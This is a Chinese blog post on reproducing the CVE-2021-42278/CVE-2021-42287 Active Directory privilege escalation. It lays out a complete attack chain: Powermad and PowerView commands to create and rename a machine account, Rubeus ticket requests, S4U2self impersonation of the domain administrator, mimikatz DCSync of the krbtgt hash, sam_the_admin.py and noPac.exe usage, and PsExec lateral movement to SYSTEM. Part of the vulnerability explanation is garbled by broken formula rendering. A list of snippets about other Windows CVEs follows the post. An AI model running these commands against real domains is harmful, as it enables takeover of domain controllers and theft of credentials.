代码编织梦想

在这里插入图片描述

前言

网络安全技术学习,承认⾃⼰的弱点不是丑事。只有对原理了然于⼼,才能突破更多的限制。拥有快速学习能力的白帽子,是不能有短板的,有的只能是大量的标准板和几块长板。知识⾯,决定看到的攻击⾯有多⼴;知识链,决定发动的杀伤链有多深。

一、漏洞原理

  • CVE-2021-42278,机器账户的名字一般来说应该以$结尾,但AD没有对域内机器账户名做验证。
  • CVE-2021-42287,与上述漏洞配合使用,创建与DC机器账户名字相同的机器账户(不以$结尾),账户请求一个TGT后,更名账户,然后通过S4U2self申请TGS
    Ticket,接着DC在TGS_REP阶段,这个账户不存在的时候,DC会使用自己的密钥加密TGS
    Ticket,提供一个属于该账户的PAC,然后我们就得到了一个高权限ST。
  • 假如域内有一台域控名为 DC(域控对应的机器用户为 DC ) , 此 时 攻 击 者 利 用 漏 洞 C V E − 2021 − 42287 创 建 一 个 机 器 用 户 S A M T H E A D M I N − 48 ),此时攻击者利用漏洞 CVE-2021-42287 创建一个机器用户 SAMTHEADMIN-48 CVE202142287SAMTHEADMIN48,再把机器用户 SAMTHEADMIN-48$ 的 sAMAccountName 改成 DC。然后利用 DC
    去申请一个TGT票据。再把 DC 的sAMAccountName 改为 SAMTHEADMIN-48 。 这 个 时 候 K D C 就 会 判 断 域 内 没 有 D C 这 个 用 户 , 自 动 去 搜 索 D C 。这个时候 KDC 就会判断域内没有 DC 这个用户,自动去搜索 DC KDCDCDC(DC$是域内已经的域控DC 的 sAMAccountName),攻击者利用刚刚申请的 TGT 进行
    S4U2self,模拟域内的域管去请求域控 DC 的 ST 票据,最终获得域控制器DC的权限。

二、手工复现

在这给大家分享一套学习思路与资料 》点击查看《 希望能够帮助大家!

1、操作流程

# 1. create a computer account
$password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText -Force
New-MachineAccount -MachineAccount "ControlledComputer" -Password $($password) -Domain "domain.local" -DomainController "DomainController.domain.local" -Verbose

# 2. clear its SPNs
Set-DomainObject "CN=ControlledComputer,CN=Computers,DC=domain,DC=local" -Clear 'serviceprincipalname' -Verbose

# 3. rename the computer (computer -> DC)
Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DomainController" -Attribute samaccountname -Verbose

# 4. obtain a TGT
Rubeus.exe asktgt /user:"DomainController" /password:"ComputerPassword" /domain:"domain.local" /dc:"DomainController.domain.local" /nowrap

# 5. reset the computer name
Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "ControlledComputer" -Attribute samaccountname -Verbose

# 6. obtain a service ticket with S4U2self by presenting the previous TGT
Rubeus.exe s4u /self /impersonateuser:"DomainAdmin" /altservice:"ldap/DomainController.domain.local" /dc:"DomainController.domain.local" /ptt /ticket:[Base64 TGT]

# 7. DCSync
(mimikatz) lsadump::dcsync /domain:domain.local /kdc:DomainController.domain.local /user:krbtgt

2、拥有一个普通域账户

net user xxx /domain

在这里插入图片描述

3、尝试攻击

3.1、利用 powermad.ps1 新增机器帐号(域用户默认可以新建机器账户)

命令

Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount TestSPN -Domain xx.xx -DomainController xx.xx.xx -Verbose

在这里插入图片描述
3.2、clear its SPNs(清除SPN信息)

Import-Module .\powerview.ps1
Set-DomainObject "CN=TestSPN,CN=Computers,DC=xxx,DC=xxx" -Clear 'serviceprincipalname' -Verbose

在这里插入图片描述
3.3、reset the computer name(重设机器名称)

Set-MachineAccountAttribute -MachineAccount TestSPN -Value “xxx” -Attribute samaccountname -Verbose
在这里插入图片描述
3.4、Request TGT (请求TGT)

.\Rubeus.exe asktgt /user:xxx /password:x’x’x’x /domain:xxx.xxx /dc:xx.xx.xx /nowrap
在这里插入图片描述
3.5、Change Machine Account samaccountname(改回原来属性)

Set-MachineAccountAttribute -MachineAccount TestSPN -Value “TestSPN” -Attribute samaccountname -Verbose

在这里插入图片描述
3.6、Request S4U2self(获取票据)

.\Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:x.x.x /self /altservice:LDAP/x.x.x. /ptt /ticket:doIE5jCCBOKgAwIBBaEDAgEWooID/zCCA/t

在这里插入图片描述
3.7、获取 kbrtgt 用户的 NTLM Hash

lsadump::dcsync /user:x\krbtgt /domain:x.x /dc:x.x.x

在这里插入图片描述

三、sam-the-admin复现

前置条件:

需要一个域用户

利用过程:

拿主域控

python3 sam_the_admin.py x.x/x:x -dc-ip x.x.x.x -shell

漏洞利用
在这里插入图片描述
漏洞证明
在这里插入图片描述
拿子域控

python3 sam_the_admin.py x.x.x/x:x -dc-ip x.x.x.x -shell

漏洞利用
在这里插入图片描述
漏洞证明
在这里插入图片描述
问题

低版本的kali可能会面临可以拿到票据,但是无法列出命令执行的窗口

四、impacket工具包复现

在这里插入图片描述

五、CVE-2021-42287/CVE-2021-42278 工具利用

1、下载地址

github

2、实际操作

2.1、扫描探测

.\noPac.exe scan -domain x.x.x -user x -pass 'x'

在这里插入图片描述
测试开始之前查看域控根目录提示拒绝访问

dir \x.x.x\c$
在这里插入图片描述
2.2、直接利用(打子域是同样方法)

./noPac.exe -domain x.x -user x -pass 'x' /dc x.x.x /mAccount x /mPassword x /service cifs /ptt

在这里插入图片描述
此时已可以查看域控根目录

ls \x.x.x\c$

在这里插入图片描述
注意问题

如果使用cifs协议的话,时间过长之后票据会失效
在这里插入图片描述
如果使用ldap协议的话,票据不会失效

2.3、深度利用

使用PsExec横向移动

通过noPac.exe使用cifs协议后,可以继续通过PsExec64.exe直接横向移动到域控主机或者域内其他机器

PsExec64.exe \\x.x.x.x -u x\x -i -p x -s cmd.exe

利用过程
在这里插入图片描述
直接提升到system权限,查看IP确实为域控IP
在这里插入图片描述

网络安全感悟

做网络安全是一个长期的过程,因为做网络安全没有终点,不管是网络安全企业,还是在网络安全行业各种不同方向的从业人员,不管你选择哪个方向,只有在这条路上坚持不懈,才能在这条路上走的更远,走的更好,不然你肯定走不远,迟早会转行或者被淘汰,把时间全浪费掉。如果你觉得自己是真的热爱网络安全这个行业,坚持走下去就可以了,不用去管别人,现在就是一个大浪淘金的时代,淘下去的是沙子,留下来的才是金子,正所谓,千淘万漉虽辛苦,吹尽狂沙始到金,网络安全的路还很长,一生只做一件事,坚持做好一件事!
在这里插入图片描述

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/HBohan/article/details/122142632

结合cve-2019-1040漏洞的两种域提权利用深度分析_systemino的博客-爱代码爱编程

  0x00 漏洞概述 2019年6月,Microsoft发布了一条安全更新。该更新针对CVE-2019-1040漏洞进行修复。此次漏洞,攻击者可以通过中间人攻击,绕过NTLM MIC(消息完整性检查)保护,将身份验证流量中继到目标服务器。PHP大马 通过这种攻击使得攻击者在仅有一个普通域账号的情况下可以远程控制 Windows 域内的任何机器,

Windows DNS Server 远程代码执行漏洞 (CVE-2021-24078) 的详细原理分析-爱代码爱编程

 聚焦源代码安全,网罗国内外最新资讯! 漏洞简介 Windows DNS Server 是 Windows Server 服务器上的一项重要功能组件, 负责调度和处理域内主机的所有DNS相关服务。 奇安信代码安全实验室的研究员在Windows DNS Server中发现一个严重的远程代码执行漏洞 (CVE-2021-24078)

〖EXP〗Ladon打印机漏洞提权CVE-2021-1675复现-爱代码爱编程

基本情况 6月9日,微软发布6月安全更新补丁,修复了50个安全漏洞,其中包括一个Windows Print Spooler权限提升漏洞,漏洞CVE编号:CVE-2021-1675。未经身份验证的远程攻击者可利用该漏洞以SYSTEM权限在域控制器上执行任意代码,从而获得整个域的控制权。建议受影响用户及时更新漏洞补丁进行防护,做好资产自查以及预防工作,以免遭

CVE-2021-1675 Windows Print Spooler权限提升漏洞复现-爱代码爱编程

0x00 简介 微软6月发布的安全更新补丁中包括了一个Windows Print Spooler权限提升漏洞,漏洞CVE编号:CVE-2021-1675。未经身份验证的远程攻击者可利用该漏洞以SYSTEM权限在域控制器上执行任意代码,从而获得整个域的控制权。建议受影响用户及时更新漏洞补丁进行防护,做好资产自查以及预防工作,以免遭受黑客攻击。 0x01

nginx安全漏洞(CVE-2021-23017)修复-爱代码爱编程

nginx安全漏洞(CVE-2021-23017) 详细描述Nginx是美国Nginx公司的一款轻量级Web服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器。 nginx存在安全漏洞,该漏洞源于一个离一错误在该漏洞允许远程攻击者可利用该漏洞在目标系统上执行任意代码。 受影响版本:0.6.18-1.20.0 解决办法 厂商补丁:

微软通杀漏洞-CVE-2021-1675复现-爱代码爱编程

文章来源|MS08067安全实验室 本文作者:龙诺(Web知识星球追洞小组) 一  准备环境 实验环境:windows2019 (192.168.189.145) kali linux (192.168.189.146) 需要:一个普通的域账户 需要:开启 print spooler服务 使用反弹shell :需要关

【安全漏洞】ProxyShell利用分析2——CVE-2021-34523-爱代码爱编程

前言 本文将要介绍ProxyShell中第二个漏洞的细节,分析利用思路。 简介 本文将要介绍以下内容: ◼CommonAccessToken ◼Exchange PowerShell Remoting ◼利用分析 CommonAccessToken 在上篇文章《ProxyShell利用分析1——CVE-2021-34473》提到,我没有找到

CVE-2021-42287(Windows域服务权限提升漏洞)-爱代码爱编程

PAC PAC(Privilege Attribute Certificate),特权属性证书 需要提供User的SID和所在组Group的SID 只看上述的就简单解释并不能很清晰的了解,那么想要知道PAC这个概念,我们首先理一下kerberos的流程 网上很多kerberos如下: 1:用户向KDC发起AS_REQ,请求凭据是用户hash加密的

微软最新漏洞CVE-2021-42287-爱代码爱编程

微软最新暴出的漏洞CVE-2021-42287/CVE-2021-42278 权限提升漏洞可将域内的任意用户提升至域管权限,已复现[em]e182[/em] 在 AD 域中请求ST票证时,首先需要提供 TGT票据。当 KDC 未找到请求的ST票证时,KDC 会自动再次搜索带有 结

网络攻防|CVE-2021-42287、CVE-2021-42278域内提权-爱代码爱编程

作者: r0n1n 免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。 0x01 漏洞原理 Microsoft Windows Active Directory 域服务权限提升漏洞(CVE-2021-42278、CVE-2021-42287)攻击者可利用该漏洞将域内的普通用户权限提升到域管理员权限,造成风险和危害极大。

Windows域服务权限提升漏洞(CVE-2021-42287, CVE-2021-42278)-爱代码爱编程

1.漏洞描述        Windows域服务权限提升漏洞(CVE-2021-42287, CVE-2021-42278)是由于Active Directory 域服务没有进行适当的安全限制,导致可绕过安全限制进行权限提升。攻击者可利用该漏洞造成将域内的普通用户权限提升到域管理员权限等危害。 2.影响版本 CVE-2021-42287: Wind

CVE-2020-1472 域内提权-爱代码爱编程

0x00 测试环境 DC(WIN-ENS2VR5TR3N):192.168.183.130 攻击机器:192.168.183.129 0x01 对域控进行测试漏洞是否存在 python3 zerologon_tester.py WIN-ENS2VR5TR3N 192.168.183.130 0x02 使用zerologon工具将域控密码打

内网渗透:六、CVE-2021-42287/CVE-2021-42278 域内提权-爱代码爱编程

 0x01 简介         2021 年 11 月 9 日,国外研究员在推特上发布了 Active Directory 相关的 CVE,CVE-2021-42278 & CVE-2021-42287 ,两个漏洞组合可导致域内普通用户权限提升至域管权限。0x02 影响0x02 范围 CVE-2021-42287: Windows Serve

runc漏洞导致容器逃逸(cve-爱代码爱编程

文章来源|MS08067 红队攻防班 本文作者:BLACK(红队攻防班讲师) 场景介绍runC是⼀个CLI⼯具,⽤于根据OCI规范⽣成和运⾏容器,该⼯具被⼴泛的应⽤于各种虚拟化环境中,如Kubernetes。该漏洞是由于挂载卷时,runC不信任⽬标参数,并将使⽤ “filepath-securejoin” 库来解析任何符号链接并